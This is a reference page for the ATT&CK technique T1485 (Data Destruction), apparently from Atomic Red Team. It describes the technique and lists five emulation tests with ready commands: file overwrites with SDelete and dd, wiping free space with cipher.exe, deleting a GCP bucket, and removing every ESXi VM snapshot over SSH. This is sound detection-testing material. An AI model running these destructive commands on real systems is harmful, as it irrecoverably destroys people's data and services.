T1485 - Data Destruction

Description from ATT&CK (opens in a new tab)

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe (opens in a new tab) and Disk Structure Wipe (opens in a new tab) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts (opens in a new tab), OS Credential Dumping (opens in a new tab), and SMB/Windows Admin Shares (opens in a new tab).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.

Atomic Tests

• Atomic Test #1 - Windows - Overwrite file with SysInternals SDelete

• Atomic Test #2 - FreeBSD/macOS/Linux - Overwrite file with DD

• Atomic Test #3 - Overwrite deleted data on C drive

• Atomic Test #4 - GCP - Delete Bucket

• Atomic Test #5 - ESXi - Delete VM Snapshots

Atomic Test #1 - Windows - Overwrite file with SysInternals SDelete

Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in the powershell session along with other information about the file that was deleted.

Supported Platforms: Windows

auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2

Inputs:

Attack Commands: Run with powershell!

if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force }
& "#{sdelete_exe}" -accepteula "#{file_to_delete}"

Dependencies: Run with powershell!

Description: Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe})

Check Prereq Commands:

if (Test-Path "#{sdelete_exe}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sdelete" -Force
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" -Force

Atomic Test #2 - FreeBSD/macOS/Linux - Overwrite file with DD

Overwrites and deletes a file using DD. To stop the test, break the command with CTRL/CMD+C.

Supported Platforms: Linux, macOS

auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146

Inputs:

Attack Commands: Run with sh!

dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes

Atomic Test #3 - Overwrite deleted data on C drive

RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover. This process is very slow and test execution may timeout. https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware (opens in a new tab) https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4 (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19

Attack Commands: Run with command_prompt!

cipher.exe /w:C:

Atomic Test #4 - GCP - Delete Bucket

This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. This atomic will create a bucket then delete the bucket.

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml (opens in a new tab)

Supported Platforms: Iaas:gcp

auto_generated_guid: 4ac71389-40f4-448a-b73f-754346b3f928

Inputs:

Attack Commands: Run with sh!

gcloud config set project #{project_id}
gcloud storage buckets delete gs://#{bucket_name}

Cleanup Commands:

cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform state rm google_storage_bucket.bucket
terraform destroy -auto-approve

Dependencies: Run with sh!

Description: Requires gcloud

Check Prereq Commands:

if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install"

Description: Check if user is logged in

Check Prereq Commands:

gcloud config get-value account

Get Prereq Commands:

gcloud auth login --no-launch-browser

Description: Check if terraform is installed.

Check Prereq Commands:

terraform version

Get Prereq Commands:

echo Please install the terraform.

Description: Create dependency resources using terraform

Check Prereq Commands:

stat "$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate"

Get Prereq Commands:

cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform init
terraform apply -auto-approve

Atomic Test #5 - ESXi - Delete VM Snapshots

Deletes all snapshots for all Virtual Machines on an ESXi Host Reference (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 1207ddff-f25b-41b3-aa0e-7c26d2b546d1

Inputs:

Attack Commands: Run with command_prompt!

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done"

Dependencies: Run with powershell!

Description: Check if we have plink

Check Prereq Commands:

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"